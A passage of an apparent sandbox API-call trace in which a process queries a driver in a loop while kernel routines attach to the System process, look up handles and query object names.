AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800381d390, HandleInformation=0x0) returned 0x0 [0102.902] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.902] PsReleaseProcessExitSynchronization () returned 0x2 [0102.902] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.902] ObQueryNameString (in: Object=0xfffffa800381d390, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.902] ObfDereferenceObject (Object=0xfffffa800381d390) returned 0x2 [0102.902] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.902] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.902] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.902] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.903] PsAcquireProcessExitSynchronization () returned 0x0 [0102.903] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.903] ObReferenceObjectByHandle (in: Handle=0xffffffff80000750, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80026316d0, HandleInformation=0x0) returned 0x0 [0102.903] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.903] PsReleaseProcessExitSynchronization () returned 0x2 [0102.903] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.903] ObQueryNameString (in: Object=0xfffffa80026316d0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.903] ObfDereferenceObject (Object=0xfffffa80026316d0) returned 0x2 [0102.903] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.903] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.903] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.903] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.903] PsAcquireProcessExitSynchronization () returned 0x0 [0102.903] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.903] ObReferenceObjectByHandle (in: Handle=0xffffffff80000754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800288edd0, HandleInformation=0x0) returned 0x0 [0102.903] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.903] PsReleaseProcessExitSynchronization () returned 0x2 [0102.903] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.903] ObQueryNameString (in: Object=0xfffffa800288edd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.903] ObfDereferenceObject (Object=0xfffffa800288edd0) returned 0x2 [0102.903] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.903] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.903] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.903] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.903] PsAcquireProcessExitSynchronization () returned 0x0 [0102.903] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.903] ObReferenceObjectByHandle (in: Handle=0xffffffff80000758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037aef20, HandleInformation=0x0) returned 0x0 [0102.903] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.903] PsReleaseProcessExitSynchronization () returned 0x2 [0102.903] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.903] ObQueryNameString (in: Object=0xfffffa80037aef20, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.903] ObfDereferenceObject (Object=0xfffffa80037aef20) returned 0x2 [0102.904] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.904] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.904] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.904] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.904] PsAcquireProcessExitSynchronization () returned 0x0 [0102.904] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.904] ObReferenceObjectByHandle (in: Handle=0xffffffff8000075c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800200b050, HandleInformation=0x0) returned 0x0 [0102.904] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.904] PsReleaseProcessExitSynchronization () returned 0x2 [0102.904] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.904] ObQueryNameString (in: Object=0xfffffa800200b050, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.904] ObfDereferenceObject (Object=0xfffffa800200b050) returned 0x2 [0102.904] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.904] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.904] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.904] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.904] PsAcquireProcessExitSynchronization () returned 0x0 [0102.904] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.904] ObReferenceObjectByHandle (in: Handle=0xffffffff80000768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002277470, HandleInformation=0x0) returned 0x0 [0102.904] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.904] PsReleaseProcessExitSynchronization () returned 0x2 [0102.904] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.904] ObQueryNameString (in: Object=0xfffffa8002277470, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.904] ObfDereferenceObject (Object=0xfffffa8002277470) returned 0x2 [0102.904] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.904] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.904] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.904] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.904] PsAcquireProcessExitSynchronization () returned 0x0 [0102.904] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.905] ObReferenceObjectByHandle (in: Handle=0xffffffff8000076c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80026b28a0, HandleInformation=0x0) returned 0x0 [0102.905] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.905] PsReleaseProcessExitSynchronization () returned 0x2 [0102.905] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.905] ObQueryNameString (in: Object=0xfffffa80026b28a0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.905] ObfDereferenceObject (Object=0xfffffa80026b28a0) returned 0x2 [0102.905] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.905] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.905] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0102.905] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.905] PsAcquireProcessExitSynchronization () returned 0x0 [0102.905] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.905] ObReferenceObjectByHandle (in: Handle=0xffffffff80000770, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002fbe760, HandleInformation=0x0) returned 0x0 [0102.905] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.905] PsReleaseProcessExitSynchronization () returned 0x2 [0102.905] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.905] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.905] ObfDereferenceObject (Object=0xfffffa8002fbe760) returned 0x1 [0102.905] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.905] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.905] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.905] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.905] PsAcquireProcessExitSynchronization () returned 0x0 [0102.905] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.905] ObReferenceObjectByHandle (in: Handle=0xffffffff80000778, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fa7bf0, HandleInformation=0x0) returned 0x0 [0102.905] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.905] PsReleaseProcessExitSynchronization () returned 0x2 [0102.905] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.905] ObQueryNameString (in: Object=0xfffffa8001fa7bf0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.905] ObfDereferenceObject (Object=0xfffffa8001fa7bf0) returned 0x2 [0102.905] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.906] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.906] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.906] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.906] PsAcquireProcessExitSynchronization () returned 0x0 [0102.906] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.906] ObReferenceObjectByHandle (in: Handle=0xffffffff8000077c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003421550, HandleInformation=0x0) returned 0x0 [0102.906] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.906] PsReleaseProcessExitSynchronization () returned 0x2 [0102.906] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.906] ObQueryNameString (in: Object=0xfffffa8003421550, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.906] ObfDereferenceObject (Object=0xfffffa8003421550) returned 0x2 [0102.906] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.906] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.906] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.906] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.906] PsAcquireProcessExitSynchronization () returned 0x0 [0102.906] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.906] ObReferenceObjectByHandle (in: Handle=0xffffffff80000784, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002393680, HandleInformation=0x0) returned 0x0 [0102.906] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.906] PsReleaseProcessExitSynchronization () returned 0x2 [0102.906] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.906] ObQueryNameString (in: Object=0xfffffa8002393680, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.906] ObfDereferenceObject (Object=0xfffffa8002393680) returned 0x2 [0102.906] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.906] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.906] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.906] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.906] PsAcquireProcessExitSynchronization () returned 0x0 [0102.906] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.907] ObReferenceObjectByHandle (in: Handle=0xffffffff80000788, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002173f20, HandleInformation=0x0) returned 0x0 [0102.907] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.907] PsReleaseProcessExitSynchronization () returned 0x2 [0102.907] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.907] ObQueryNameString (in: Object=0xfffffa8002173f20, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.907] ObfDereferenceObject (Object=0xfffffa8002173f20) returned 0x2 [0102.907] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.907] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.907] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.907] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.907] PsAcquireProcessExitSynchronization () returned 0x0 [0102.907] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.907] ObReferenceObjectByHandle (in: Handle=0xffffffff8000078c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800250a550, HandleInformation=0x0) returned 0x0 [0102.907] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.907] PsReleaseProcessExitSynchronization () returned 0x2 [0102.907] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.907] ObQueryNameString (in: Object=0xfffffa800250a550, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.907] ObfDereferenceObject (Object=0xfffffa800250a550) returned 0x2 [0102.907] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.907] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.907] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.907] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.907] PsAcquireProcessExitSynchronization () returned 0x0 [0102.907] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.907] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019ee050, HandleInformation=0x0) returned 0x0 [0102.907] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.907] PsReleaseProcessExitSynchronization () returned 0x2 [0102.907] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.907] ObQueryNameString (in: Object=0xfffffa80019ee050, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.908] ObfDereferenceObject (Object=0xfffffa80019ee050) returned 0x2 [0102.908] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.908] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.908] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.908] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.908] PsAcquireProcessExitSynchronization () returned 0x0 [0102.908] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.908] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800340bb10, HandleInformation=0x0) returned 0x0 [0102.908] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.908] PsReleaseProcessExitSynchronization () returned 0x2 [0102.908] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.908] ObQueryNameString (in: Object=0xfffffa800340bb10, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.908] ObfDereferenceObject (Object=0xfffffa800340bb10) returned 0x2 [0102.908] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.908] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.908] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.908] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.908] PsAcquireProcessExitSynchronization () returned 0x0 [0102.908] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.908] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800216bbc0, HandleInformation=0x0) returned 0x0 [0102.908] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.908] PsReleaseProcessExitSynchronization () returned 0x2 [0102.908] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.908] ObQueryNameString (in: Object=0xfffffa800216bbc0, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.908] ObfDereferenceObject 